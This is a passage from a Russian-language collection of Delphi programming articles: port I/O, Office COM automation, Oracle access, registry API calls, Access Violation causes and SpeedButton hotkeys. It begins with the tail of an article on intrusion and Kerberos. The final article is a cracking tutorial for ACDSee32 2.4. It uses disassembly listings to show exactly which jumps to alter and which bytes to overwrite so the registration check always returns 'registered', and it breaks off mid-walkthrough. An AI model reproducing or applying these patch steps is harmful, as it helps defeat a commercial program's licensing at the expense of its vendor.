пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситуации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.). Часть недостатков, перечисленных выше, ликвидирована в версии 5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают такжесистемы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию. Заключение Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым аккуратным администрированием. По статистике большинство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему. He откладывая в долгий ящик, проверьте перечисленные выше способы несанкционированного доступа - если удастся взломать ваш компьютер вам, то это могут сделать и другие
Как читать-писать в I-O порты 2.
В Delphi 1 записывать и считывать из портов можно через глобальный массив 'ports'. Однако данная возможность отсутствует в '32-битном' Delphi.
Следующие две функции можно использовать в любой версии delphi:
function InPort(PortAddr:word): byte;
{$IFDEF WIN32}
assembler; stdcall;
asm
mov dx,PortAddr
in al,dx
end;
{$ELSE}
begin
Result := Port[PortAddr];
end;
{$ENDIF}
procedure OutPort(PortAddr:
word; Databyte: byte);
{$IFDEF WIN32}
assembler; stdcall;
asm
mov al,Databyte
mov dx,PortAddr
out dx,al
end;
{$ELSE}
begin
Port[PortAddr] := DataByte;
end;
{$ENDIF}
|
Доступ к COM серверам Microsoft Office.
| День, когда Микрософт выпустит хоть что-то, что не будет тормозить, будет днем, когда они начнут производить автомобили |
Введение
В статье рассматривается вопрос доступа к общеизвестным приложениям Microsoft Office, таким как Word, Excel, Outlook и другим, через новый набор компонент, представленных в Delphi 5. Для начала работы нам предстоит установить на компьютере приложения Microsoft Office 97 – Excel, Word, Outlook, PowerPoint. Если считаете необходимым, то можно добавить и Access (но с ним у меня особые счеты). Ну и конечно устанавливается новый продукт Delphi 5. Кроме множества изменений в нем имеется одно, для нас сейчас необходимое – новая закладка на палитре инструментов – Servers.Через эти компоненты мы будем получать доступ к COM серверам приложений Office, использующих автоматизацию (прежде известную как OLE Automation).
Мы рассмотрим несколько примеров построения контроллеров автоматизации для создания отчетов в MS Word, производство расчетов и построение диаграмм в MS Excel, а так же формирование рассылки писем адресатам через MS Outlook.
Приложения и объекты MS Office. Обзор
Office – это среда, в которой большинство задач можно решать без какого-либо программирования. Но вся ценность приложений Office для разработчика заключается в том, что все, что можно сделать руками, можно сделать программным путем с использованием средств VBA (Visual Basic for Application). Кроме того, приложения Office поставляют сервера COM, которые предоставляют интерфейс доступа к приложению и его объектам. Благодаря этому, разработчик в среде Delphi имеет возможность, создав контроллер автоматизации, управлять сервером. Так как устроено приложение в Office? На самом деле приложение рассматривается как совокупность объектов со своими методами, свойствами, событиями, которые обеспечивают скелет приложения. Программист Office является не создателем приложения, как, например это делается в Delphi, а он принимает участие в создании системы документов. Таким образом, ДОКУМЕНТ, а не программа являются целью разработки.
Наследование – мощный инструмент построения нового класса, однако программистам известен еще один способ получения класса – встраивание. Как и наследование, встраивание - транзитивное отношение. В объектной модели Office нет наследования в полном смысле этого слова, а есть только встраивание.
Всегда существует задающий приложение корневой объект, он всегда называется Application. Каждое приложение Office имеет свой собственный корневой объект – Word.Application, Excel.Application. Outlook приложение само является корневым объектом, несмотря на это в объект Application встраиваются все остальные объекты (участники), которые являются свойствами главного объекта. Участником могут быть свои участники и так далее. В документе методов очень много, причем самых разных, но имеются и одинаковые методы в различных приложениях Office. Среди таковых – Run, Quit, Activate; но даже и они в разных приложениях имеют различный набор параметров, а зачастую выполняют не адекватные действия. Такое многообразие различных реализаций классов отпугивало программистов контроллеров автоматизации. Однако, используя компоненты доступа к серверам автоматизации – положение резко улучшилось. На следующем рисунке показан очень маленький фрагмент структуры объекта Microsoft Word Objects.
Более полное представление об объектной архитектуре приложений Office можно найти в соответствующих файлах помощи.
Как только открывается новый документ, будь то PowerPoint, Excel, Word, автоматически создается каркас нового документа, который представляет собой набор библиотек с классами. Объекты этих классов будут доступны в данном документе. Задачей разработчика контроллера автоматизации является получить доступ к корневому объекту сервера, выстроить цепочку доступа к объектам – участникам (встроенным объектам), правильно передать параметры.
Объекты Application и организация доступа к ним из Delphi
Я, наверное, утомил читателя устройством приложений Office. Но все-таки необходимо еще раз отметить, что всех объектов этого семейства не перечесть, но главные необходимо знать и уметь ими пользоваться. Фундаментальным объектом любого приложения является Application. Давайте получим к нему доступ из Delphi.
Создаем новый проект На главную форму выкладываем компоненту с закладки Servers, которая называется WordApplication Устанавливаем свойства компоненты AutoConnect и AutoQuit в True Запускаем приложение на выполнение.Казалось бы, ничего не произошло, запустилась форма и отобразилась на экране, на самом деле наше приложение запустило сервер автоматизации Microsoft Word, этот факт можно обнаружить, запустив на выполнение Task Manager и выбрав закладку Processes. Среди прочих процессов мы обнаруживаем WINWORD.EXE. На самом деле была приложением проделана следующая работа:
При создании формы, в системном реестре, по идентификатору CLSID был найден сервер Word.Application Запущено на выполнение приложение, находящееся по адресу в реестре (ProgID) Сервер предоставил нашему приложению, которое и является контроллером автоматизации интерфейс, через который мы и получим доступ к объекту Application.Интерфейс Idispatch унаследован от Iunknown, который в свою очередь имеет три метода, один из которых _ADDRef умеет считать количество клиентов, в настоящий момент использующих сервер. Как только от сервера отсоединиться последний клиент, он автоматически будет выгружен из памяти компьютера.
Закройте наше приложение и загляните в Task Manager - Word выгрузился из памяти.
Точно такой же результат можно было бы получить, прописав следующий код:
uses
COMOBJ;
...
procedure TForm1.Button1Click(Sender: TObject);
var
wd: OleVariant;
fileName: string;
begin
try
fileName := ExtractFilePath(Application.EXEName) + 'report.DOC';
//Создаем объект интерфейса для доступа к серверу COM
wd := CreateOleObject('Word.Application');
//Проверка наличия методов и правильность передачи параметров будет
//осуществляться на стадии выполнения приложения
wd.application.documents.add;
wd.application.activedocument.range.insertAfter(now);
wd.application.activedocument.saveas(fileName);
//выгружаем сервер из памяти компьютера
wd.application.quit(true, 0);
|
Базовый класс TOLEServer
На закладке Service находится набор компонент для доступа к серверам автоматизации, не все компоненты возвращают ссылку на объект Application, то есть могут быть получены интерфейсы для доступа к вложенным объектам, таким как Документ Word или рабочая книга Excel. Все компоненты унаследованы от класса TOLEServer, который наследует свойства класса Tcomponent. TOLEServer является базовым классом всех COM серверов, которые можно получить через среду IDE следующим образом: Project | Import Type Library. Кроме этого этот класс имеет еще несколько свойств и методов для управления связью с COM сервером. Среди таковых уже знакомое нам свойство AutoConnect, которое автоматически запускает COM сервер и производит извлечение из него интерфейса, обеспечивающего связь с контроллером. Еще одно важное свойство класса TOLEServer – ConnectKind – указывающее тип процесса, к которому устанавливается связь. Свойство используется методом Connect, который вызывается автоматически, если свойство AutoConnect истинно. Ниже описаны значения, которые может принимать ConnectKind:
Значения свойства ConnectKind.
ckRunningOrNew Контроллер производит подключение к уже существующему процессу, или запускает новый процесс, при отсутствии такового. Этот вид взаимодействия между COM сервером и контроллером наиболее часто применяется на практике. Такое значение свойства установлено по умолчанию. ckNewInstance При соединении с сервером каждый раз создается новый экземпляр ckRunningInstance Соединение устанавливается с уже запущенным COM сервером. Если таковой отсутствует – будет создан соответствующий объект ошибки, который необходимо обработать ckRemote Это значение используется совместно со свойством RemoteMachineName, если необходимо подключиться к серверу на удаленной машине ckAttachToInterface При установке этого значения интерфейс не создается и соответственно нельзя указывать значение True для свойства AutoConnect. Соединение с сервером производится с помощью метода ConnectToНа последнем значении свойства ConnectKind равном ckAttachToInterface, хотелось бы остановиться более подробно. Действительно мы соединяемся с сервером через главный интерфейс, представленный в объекте Application. Но, например, возникает необходимость подключить к нашему проекту такие компоненты, как WordDocument или WordParagraphFormat, в этом случае мы просто производим подключение к уже существующему интерфейсу, а не создаем его заново. Также это может быть необходимо, когда контроллер должен отслеживать события, происходящие в COM сервере. Я предлагаю вам провести маленький эксперимент:
Создайте новое приложение Выложите на форму компонент WordApplication и WordDocument Свойства AutoConnect и AutoQuit для WordApplication установите в True Свойство ConnectKind для WordDocument установите в ckAttachToInterface Для события onDokumentChange и onFormCreate пропишите следующий код:
procedure TForm1.WordApplication1DocumentChange(Sender: TObject); begin //производим подключение к текущему документу WordDocument1.ConnectTo( WordApplication1.ActiveDocument); //Контроллер добавляет новую строку в текущий документ WordDocument1.Range.InsertAfter(#13+'Переход к документу'+#13+ WordApplication1.ActiveDocument.Get_FullName+' произведен :'+ DateTimeToStr(Now)); end; procedure TForm1.FormCreate(Sender: TObject); begin //COM сервер отображает себя на экране WordApplication1.Visible:=true; end; |
После запуска приложения будет автоматически загружен Word, создайте в нем несколько новых документов и переключайтесь между ними с помощью меню Window. Вы увидите, что контроллер автоматизации добавляет новые строки в текущий активный документ. Аналогично можно управлять и сервером ExcelApplication. При создании новой рабочей книги на сервере, в контроллере будет проинициализировано событие onNewWorkBook, которое можно обработать аналогично предыдущему примеру.
Классы – наследники ToleObject
Теперь давайте заглянем во внутренний мир компонент закладки Servers. Как мы уже убедились, все классы унаследованы от ToleObject. Кроме того, еще наследуется и интерфейс из библиотеки TLB. Как это происходит? Проведем следующее упражнение:
Из среды программирования Delphi удаляем пакет с компонентами COM серверов (Component | Install Packages | Borland Sample Automation Servers Component | Remove). После этого закладка Servers удалилась. Создаем новый пакет с использованием библиотеки типов Выберите Project | Type library Из списка зарегистрированных серверов выберите библиотеку типов Excel (Microsoft Excel 8.0 Object Library) Укажите имя закладки палитры компонент (Pallete Page), куда будут установлены новые классы – TexcelQueryTable, TexcelApplication, TexcelChart, TexcelWorksheet, TexcelWorkbook, TExcelOLEObject . Выберите закладку Servers. В боксе - General Component Wraper установите флажок для генерации компонеты на основе библиотеки типов и размещении ее на палитре компонент. Нажмите кнопку Install Укажите имя пакета, где будет сгенерирован новый класс Установите сервер на палитру компонент. После проделанных манипуляций вам стал доступен COM сервер Excel, в состав которого входят шесть классов. Аналогичным образом восстановите компоненты для сервера Word и Outlook. Теперь мы можем посмотреть на объявление класса TWordApplication и его предка -ToleServer:
TOleServer = class(TComponent, IUnknown) TWordApplication = class(TOleServer) |
Благодаря такому объявлению, класс TwordApplication наследует свойства и методы класса Tcomponent (способен устанавливаться на палитре компонент и прочие…), а так же знает все о доступе к интерфейсам COM серверов, благодаря наследованию интерфейса IUNknown. В библиотеке типов прописаны все доступные методы и свойсва COM сервера. Когда создается контроллер автоматизации (выкладываем на форму соответствующий компонент из палитры), то приложение получает доступ к Dual Interface описанный в библиотеке типов. Dual интерфейс – есть совокупность пользовательского интерфейса, описанного в библиотеке типов и dispinterface, который доступен в момент выполнения приложения. Это реализовано с помощью COM VTABLE интерфейса, унаследованного от IDISPATCH. Использование Vtable интерфейса имеет ряд преимуществ:
Передаваемые параметры, их типы и количество проверяется на стадии проектирования и редактор кода сопровождает разработчика всевозможными хинтами и подсказками. Через Vtable интерфейс осуществляется значительно более быстрый доступ к серверу автоматизации, чем через DispInterface В то же время, не всегда разработчик получает доступ к библиотеке типов и соответственно к V – таблице, поэтому приходится иногда пользоваться Idispatch интерфейсомНиже приведен пример использования Dual интерфейса.
procedure TForm1.FormCreate(Sender: TObject); var foo: TWordApplication; foo1: _Application; begin foo := WordApplication1; foo1 := CoWordApplication.Create; ShowMessage(foo.UserName + #13 + foo1.Get_Name); end; |
Пример использования интерфейса с поздним связыванием был показан в начале этой статьи, когда доступ к COM серверу был осуществлен с помощью функции CreateOleObject. Компилятор в этом случае ничего не знает о методах и параметрах сервера, информация о них извлекается на стадии выполнения приложения, отсюда и потеря скорости выполнения приложения и всевозможные ошибки, которые компилятор не в состоянии обработать. При такой разработке приложения программист достает SDK от Microsoft office и начинает старательно изучать большие тома литературы.
Подводя итог можно говорить о том, что для доступа к COM серверу автоматизации существует три способа.
Vtable Idispatch Позднее связывание (CreateOleObject)Наиболее прогрессивный – первый способ, через который работают компоненты Delphi 5 для доступа к COM серверам приложений Office.
Пример использования Vtable интерфейса
Постановка задачи: Имеется шаблон документа – shablon.DOC, подготовленный в MS Word, поля, которые должны быть заменены, помечены символом @. Необходимо прочитать данные из источника информации и заменить метки, на реальные данные, после чего распечатать полученный документ.
Воспользуемся методом Vtable . Выложим на форму компоненту WordApplication, WordDocument и кнопку Button. Для события OnClick компоненты Button1 пропишем следующий код:
procerdure TForm1.Button1Click(Sender: TObject); var //Объявление переменных, для передачи их в //екачестве формальных параметров в сервер автоматизации Shablon,FileName,oldStr,newStr,replace,ext:OleVariant; begin Table1.Active:=false; Table1.Active:=true; Shablon:=ExtractFilePath(Application.EXEName)+'shablon.DOC'; FileName:=ExtractFilePath(Application.EXEName)+'report.DOC'; //Открываем шаблон документа WordApplication1.Documents.Open (Shablon,EmptyParam, EmptyParam,EmptyParam, EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam); //Связываем компоненту с существующим интерфейсом WordDocument1.ConnectKind:=ckAttachToInterface; WordDocument1.ConnectTo(WordApplication1.ActiveDocument); //Следующие переменные понадобятся нам //для выполнения методов сервера replace:=1; oldStr:='@1'; newStr:=DateTimeToStr(Now); //Находим в документе метки и производим их замены WordDocument1.Range.Find.Execute(oldStr,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,newStr,replace); oldStr:='@2'; newStr:=WordApplication1.UserName; WordDocument1.Range.Find.Execute(oldStr,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,newStr,replace); //сохранение документа и отображение его в OLE контейнере //(предварительный просмотр) WordDocument1.SaveAs(FileName); WordDocument1.Close; OleContainer1.CreateLinkToFile(FileName,false); OleContainer1.Refresh; end; |
Исходный код этого примера имеется в приложении к данной статье. Обратите внимание на передачу параметров в методы. Все параметры описаны как OleVariant и передаются в методы по ссылке (такая передача параметров характерна лишь для сервера Word, Excel и OutLook, например, принимают в основном фактические параметры). Сервер автоматизации сам будет разбираться, какой тип вы фактически подставили в качестве значения переменной, поэтому необходимо при разработке приложения особое внимание уделять хинтам, и почаще заглядывать в библиотеку типов сервера, с которым вы работаете в настоящее время. К стати, после того как мы установили компоненты, библиотеки типов разместились в директории …Delphi5\Imports\. В файлах библиотек типов можно найти, например все константы, необходимые для передачи параметров в Excel и OutLook, названия их интуитивно понятны. В модуле System – Delphi 5 описана переменная EmptyParam, которую необходимо использовать для передачи “пустышек” в качестве параметров.
var
EmptyParam: OleVariant; { "Пустой параметр" который
должен опционально использоваться в DUAL интерфейсе. }
|
Описание методов в библиотеке типов заставляет нас очень аккуратно соблюдать порядок передачи параметром, это несколько затрудняет процесс программирования, но зато Dual интерфейс работает значительно быстрее чем передача именованных параметров при позднем связывании сервера и контроллера автоматизации.
Пример использования Dispatch интерфейса
Постановка задачи: получить информацию о документе, который открывается MS Word, при этом не должны использоваться никакие компоненты для доступа к серверам автоматизации.
Создадим новое приложение и выложим на форму кнопку. Пропишем событие onDoubleClick для кнопки следующим образом:
procedure TForm1.Button1Click(Sender: TObject); var Shablon: OleVariant; word: _ApplicationDisp; begin Shablon := ExtractFilePath(Application.EXEName) + 'shablon.DOC'; word := CoWordapplicaTion.Create as _ApplicationDisp; (Word.Documents as DocumentsDisp).Open(Shablon, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam); showmessage((Word.Application as _application).Get_Name + #13 + ((Word.Application as _application).ActiveDocument as _documentDisp).Path ); word.quit(EmptyParam, EmptyParam, EmptyParam); end; |
Переменная word имеет тип ApplicatiwonDisp = dispinterface ['{00020970-0000-0000-C000-000000000046}'], который описан в библиотеки типов Word97_TLB.Pas. Строка word:=CoWordapplicaTion.Create as _ApplicationDisp; создает экземпляр сервера и возвращает DispInterface. Благодаря наличию библиотеки и жесткому приведению типов разработчик имеет возможность делать меньше ошибок, так как компилятор имеет определенную информацию о типах данных. В сравнении с использованием метода позднего связывания через функцию CreateOleObject этот метод более прогрессивный. По крайней мере, хотя бы часть информации компилятору да известна.
Подводя итог выше сказанному, можно отметить, что действительно использование компонент для доступа к COM серверам через Vtable интерфейс значительно ускоряет работу приложения и ограждает разработчика от ошибок.
Другие компоненты для доступа к COM серверам
Теперь поговорим о сервере Excel. После импортирования библиотеки типов, на закладке палитры компонент появились шесть иконок, основная из них ExcelApplication - компонента, обеспечивающая доступ к объекту Application сервера Excel. Следующий пример демонстрирует работу с объектом Application и WorkBook сервера Excel. Параметры серверу передаются по значению, кроме того, библиотека типов предоставляет все основные константы для работы с сервером:
const xlDays = $00000000; xlMonths = $00000001; xlYears = $00000002; procedure TForm1.FormCreate(Sender: TObject); begin ExcelApplication1.Workbooks.Add (ExtractFilePath(Application.EXEName) + 'customs', 0); ExcelWorkbook1.ConnectTo(ExcelApplication1.ActiveWorkbook); ExcelApplication1.Visible[0] := true; end; |
Таким образом, получив доступ к серверу, мы можем легко формировать всевозможные отчеты, строить графики. Другими словами из Delphi пользоваться ресурсами MS Excel.
Работа с Outlook из Delphi
Так же как и в других серверах, в Outlook имеется класс Application, в который встраивается класс NameSpace. Последний предоставляет доступ к данным через объект класса MAPIFolders, представляющий собой коллекцию папок пользователя. Получив доступ к Outlook через компоненту OutLookApplication, извлекается объект доступа к MAPI папкам.
mapi := OutlookApplication1.GetNamespace('MAPI');
for i:=1 to mapi.Folders.Count do
ListBox1.Items.Add(mapi.Folders.Item(i).name);
|
Добраться до соответствующей папки теперь нет проблем, так как мы имеем дело с вложенными объектами. В приложении к статье имеется пример извлечения содержимого всех папок сервера Microsoft OutLook.
Следующий пример производит рассылку писем, извлекая адреса из таблицы базы данных. Я вам предлагаю его самостоятельно доработать и привести к “товарному виду”.
procedure TForm1.Button1Click(Sender: TObject);
var
mapi: NameSpace;
begin
Table1.Active:=false;
Table1.Active:=true;
//Получаем доступ к папке
mapi:=OutlookApplication1.GetNamespace('MAPI');
while not Table1.Eof do
begin
//Подключаем объект класса TMailItem к
// новому елементу исходящих писем ,
//для работы через Vtable интерфейс
MailItem1.ConnectTo(_DMailItem(mapi.Folders.Item
(olPersonal). Folders.Item(olFolderOutbox). Items.Add(olPostItem) as
iDispatch));
//Наполняем новое письмо информацией
MailItem1.Subject:='test for '+Table1Common_Name.Value;
MailItem1.to_:=Table1Category.Value+'@elsite.ru';
Table1Graphic.SaveToFile(Table1SpeciesNo.AsString+'.BMP');
MailItem1.Attachments.Add(ExtractFilePath(Application.EXEName)+
Table1SpeciesNo.AsString+ '.BMP',1,1,Table1SpeciesName.Value);
MailItem1.Body:=#13#13+'Письмо с вложенным документом '+#13+
MailItem1.SenderName;
MailItem1.Sensitivity:=olConfidential ;
MailItem1.FlagStatus:=olFlagMarked;
//Сохраняем письмо. OutLook самостоятельно его отошлет по почте
MailItem1.Save;
Table1.next;
end;
end;
|
В заключении хочется еще раз подчеркнуть, что использование Vtable интерфейса значительно упростило процесс разработки контроллеров автоматизации COM серверов.
Используя мощный язык Delphi 5 и открытый интерфейс серверов MS Office можно строить очень большие и серьезные приложения, работающие совместно.Примеры с использованием Servers для всего семейства Office можно найти здесь
Как напрямую добраться до Oracle.
Для этого можно воспользоваться компонентами от AllRoundAutomations Direct Oracle Access. Если кому надо могу поделиться. При помощи этих компонент можно не только производить простые запросы/вставки, но и выполнять DDL-скрипты, и иметь доступ к объектам Oracle 8, примет смотри ниже...
Доступ объекту Oracle:
var
Address: TOracleObject;
begin
Query.SQL.Text := 'select Name, Address from Persons';
Query.Execute;
while not Query.Eof do
begin
Address := Query.ObjField('Address');
if not Address.IsNull then
ShowMessage(Query.Field('Name') + ' lives in ' + Address.GetAttr('City'));
Query.Next;
end;
end;
|
Доступ к реестру средствами API.
| - Как три программиста могут организовать бизнес? - Один пишет вирусы, а другой антивирусы. - А третий? - Операционные системы, под которыми все это работает. |
Создать подраздел в реестре:
RegCreateKey (Key:HKey; SubKey: PChar; var Result: HKey): Longint; |
Открыть подраздел:
RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint; |
Закрывает раздел:
RegCloseKey(Key: HKey): Longint; |
Удалить подраздел:
RegDeleteKey(Key: HKey; SubKey: PChar): Longint; |
Получить имена всех подразделов раздела Key:
RegEnumKey(Key:HKey; index: Longint; Buffer: PChar; cb: Longint): Longint; |
Возвращает текстовую строку, связанную с ключом Key\SubKey:
RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint; |
Задать новое значение ключу Key\SubKey:
RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint; |
Удаляет значение lpValueName находящееся в ключе hKey:
RegDeleteValue(HKEY hKey, LPCTSTR lpValueName); |
Выдает список значений у ключа hKey:
LONG RegEnumValue( HKEY hKey, DWORD dwIndex, LPTSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); |
Примечание: При каждой новом вызове функции после предыдущего нужно заново переназначить lpcbValueName.
lpcbValueName = sizeof(lpValueName) |
Примеры:
{ Создаем список всех подразделов указанного раздела }
procedure TForm1.Button1Click(Sender: TObject);
var
MyKey: HKey; { Handle для работы с разделом }
Buffer: array[0 .. 1000] of char; { Буфер }
Err, { Код ошибки }
index: longint; { Индекс подраздела }
begin
Err := RegOpenKey(HKEY_CLASSES_ROOT, 'DelphiUnit', MyKey); { Открыли раздел }
if Err <> ERROR_SUCCESS then
begin
MessageDlg('Нет такого раздела !!', mtError, [mbOk], 0);
exit;
end;
index := 0;
{Определили имя первого подраздела }
Err := RegEnumKey(MyKey, index, Buffer, Sizeof(Buffer));
while err = ERROR_SUCCESS do { Цикл, пока есть подразделы }
begin
memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }
inc(index); { Увеличим номер подраздела }
Err := RegEnumKey(MyKey, index, Buffer, Sizeof(Buffer)); { Запрос }
end;
RegCloseKey(MyKey); { Закрыли подраздел }
end;
|
Почему возникает ошибка Access Violation.
Автор: Vit WEB-сайт: http://forum.vingrad.ru Ошибка "Access Violation" возникает, когда идёт обращение к памяти к которой обращение запрещено. Это возможно во многих случаях, но наиболее типичные ситуации я попытаюсь перечислить:1) Обращение к не созданному объекту.
var e: TEdit; begin e.text := 'Hello world!'; end;В данном случае объект e ещё не создан и идёт обращение к памяти, которая ещё не выделена.
2) Обращение к уже разрушенному объекту:
var e: TEdit; begin ... e.free; ... e.text := 'Hello world'; end;
Тут есть хитрость, допустим вы хотите проверить есть ли объект и модернизируете код:
if e <> nil then e.text := 'Hello world!';
Или.
if assigned(e) then e.text := 'Hello world!';
Особенно часто приходится такое делать когда надо уничтожить объект:
if e <> nil then e.free;
Так вот - такой код может быть источником ошибки, так как метод Free автоматически не устанавливает указатель в Nil. Обязательно после каждого Free используйте установление указателя в nil:
e.free; e := nil;
3) При выходе за границы динамического массива обычно генерится ошибка "Index out of bound", но возможно и возникновение Access Violation, особенно когда не стоят опции компилляции по проверки границ массивов. Эта ошибка может быть очень сложна в отлаживании - дело в том что допустим у вас есть массив а длиной в 10 элементов, в пишете:
a[20] := something;И эта строка может пройти как и надо, без всяких проблем, но её выполнение повредит какой-то другой код, причём каждый раз другой! Теперь самая безобидная операция типа i:=10 может вдруг внезапно дать Access Violation. 3) На форме на onCreate вызывается что-то с других форм - эти другие формы на этот момент еще не созданы
4) На форме на onDestroy вызывается что-то с других форм - эти другие формы на этот момент уже разрушены.
Горячие клавиши для SpeedButton и переход по полям ввода через Enter.
| Пропала собака. Особые приметы: Shift+2. Вознаграждение: Shift+4. |
unit SKDemoF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, SpecKey, Buttons;
type
TForm1 = class(TForm)
AccSpeed1: TAccSpeed;
TabEdit1: TTabEdit;
TabEdit2: TTabEdit;
TabEdit3: TTabEdit;
Label1: TLabel;
Label2: TLabel;
procedure AccSpeed1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.AccSpeed1Click(Sender: TObject);
begin
ShowMessage ('Acc Speed Button pressed');
end;
end.
|
Загрузить исходный код проекта Загрузить библиотеку с компонентами Загрузить ещё одну библиотеку с компонентами
Исследование Acdsee32 version 2.4 или как рубить хвосты.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Наверное всем приходилось работать с этой замечательной программой, которая просматривает практически все графические форматы современного компьютера. Так вот, я всегда пользовался для регистрации этой программы написанным для неё генератором регистрационного номера, НО мне стало интересно, есть ли в природе крак к этой программе, но ничего подобного не нашёл, а так как делать мне тогда было нечего, я решил поисследовать защиту этой вещи. Для начала запустил программу и увидел, что в заголовке окна надпись "(Unregistred)". Я запустил WDasm и дизассемблировал програмку, затем зашёл в String Reference и начал искать в списке увиденную мной строку "(Unregistred)" и когда нашёл, то кликнул на неё (Внимание! Эта строка в программе встречается дважды, в такой ситуации WDasm при нажатии первый раз открывает первое место, где эта строка встречается, при следующем нажатии второе место и т.д.). Т.е. вам надо нажать на эту надпись два раза и вы окажетесь тут:* Possible Reference to String Rsource ID= 00195: "[Unregistered]" :004013C5 68C3000000 push 000000C3 :004013CA 51 push ecxтеперь посмотрим чуть выше и увидим вот что:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401387(U) |
:0040139D E8CE520000 call 00406670 ;вызываем процедуру проыерки зарегестрированности
:004013A2 83F801 cmp eax, 00000001
:004013A5 742A je 004013D1 ;если зарегестрированны - прыгаем мимо "[Unregistered]"
:004013A7 8D942414010000 lea edx, dword ptr [esp+00000114]
:004013AE 6A50 push 00000050
:004013B0 52 push edx
* Reference To: KERNEL32.lstrlenA, Ord :03 08h
|
:004013B1 FF1514C24C00 Call dword ptr [004CC214]
:004013B7 8B8B00020000 mov ecx, dword ptr [ebx+00000200]
:004013BD 8D840418010000 lea eax, dword ptr [esp+eax+00000118]
:004013C4 50 push eax
Здесь стало ясно, что процедура проверки находится по адресу 00406670. Ну что же, зайдем по этому адресу (F12) и вот что мы видим: * Referenced by a CALL at Addresses: |:0040103F , :004010D4 , :0040114D , :0040124F , :0040139D |:004014D3 , :0040175B , :004017F5 , :0040195F , :00401D4C |:004021F4 , :0040241C , :004024A7 , :004039B8 | :00406670 81EC24020000 sub esp, 00000224 :00406676 8A1558B84E00 mov dl, byte ptr [004EB858] :0040667C 56 push esi :0040667D 57 push edi :0040667E B907000000 mov ecx, 00000007 :00406683 33C0 xor eax, eax :00406685 8D7C2415 lea edi, dword ptr [esp+15] :00406689 88542414 mov byte ptr [esp+14], dl :0040668D 88542434 mov byte ptr [esp+34], dl :00406691 F3 repz :00406692 AB stosd :00406693 66AB stoswСудя по количеству адресов, по которым происходит вызов этой процедуры, можно сказать, что это скорее всего и есть основная (и как оказалось единственная) процедура проверки зарегестрированности. Теперь тут можно было бы искать место где сравнивают наш рег. номер и правильный, затем поменять условный переход после этой проверки на противоположный, но вдеь не зря статья называется "Как рубить хвосты", поэтому мы пойдём другим путём. Итак, как вы помните, после выполнения процедуры проверки в eax записыватеся либо "0" - незарегестрированны, либо "1" - зарегестрированны. Так вот, я предлагаю найти выход из процедуры проверки и на выходе дописать mov eax,01. Но для начала посмотрим чуть ниже и увидим вот это место:
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004066C2(C) | :0040671F 8A442414 mov al, byte ptr [esp+14] :00406723 33FF xor edi, edi :00406725 84C0 test al, al ;проверяют есть ли хоть один символ в сохранённом в реестре имени :00406727 C70540004E0000000000 mov dword ptr [004E0040], 00000000 :00406731 8D742414 lea esi, dword ptr [esp+14] :00406735 741F je 00406756 ;если нет прыгаемТут надо, чтобы мы прыгали не на 00406756, а на следующую строку, т.е. заменим je 00406756 на je 00406737. Чтобы даже если в реестре не записано никакое имя мы всё равно были бы зарегестрированны. Теперь ещё чуть ниже такой кусок кода:
:00406748 8A4601 mov al, byte ptr [esi+01] :0040674B 46 inc esi :0040674C 84C0 test al, al :0040674E 75E7 jne 00406737 :00406750 6683FF05 cmp di, 0005 ;сравнивают длинну нашего Р.Н. :00406754 7D0B jge 00406761 ; и если он больше 5 символов - прыгаем * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00406735(C) | :00406756 5F pop edi ;иначе - заходим сюда :00406757 33C0 xor eax, eax ;записываем в eax "0" :00406759 5E pop esi :0040675A 81C424020000 add esp, 00000224 :00406760 C3 ret ;выходим из процедуры проверкиЗдесь нам нужно поменять по адресу 00406754 команду jge 00406761 на jmp 00406761, чтобы программа всегда думала, что в нашем имени больше 5 символов. Теперь ищем конец процедуры проверки. Для этого в WDasm'e скролим вниз окно до окончания процедуры проверки, т.е. до этого места:
:0040676D 6888034E00 push 004E0388 :00406772 E819230500 call 00458A90 :00406777 83C410 add esp, 00000010 :0040677A F7D8 neg eax ; вычитаем и возвращаем eax :0040677C 1BC0 sbb eax, eax ;что-то типа eax-eax :0040677E 5F pop edi :0040677F F7D8 neg eax ;опять вычитаем и возвращаем eax :00406781 A340004E00 mov dword ptr [004E0040], eax :00406786 5E pop esi :00406787 81C424020000 add esp, 00000224 :0040678D C3 ret ; возвращаемся из процедурыИтак, на выходе по адресам (0040677A, 0040677C, 0040677F) происходят какие-то действия над eax. Именно эти строки мы и будем "затирать" строкой mov eax,01 НО строка mov eax,01 занимает 5 байт (B801000000) а в строках (0040677A, 0040677C) всего четыре "свободных" байта (F7D81BC0) т.е. нужная нам строка не помещается. Тогда делаем так: меняем местами строку 0040677E и 0040677F теперь получили свободными 6 байт. Помещаем в первые 5 нашу строку (mov eax,01) а в последний байт записываем nop. теперь картина должна принять вид:
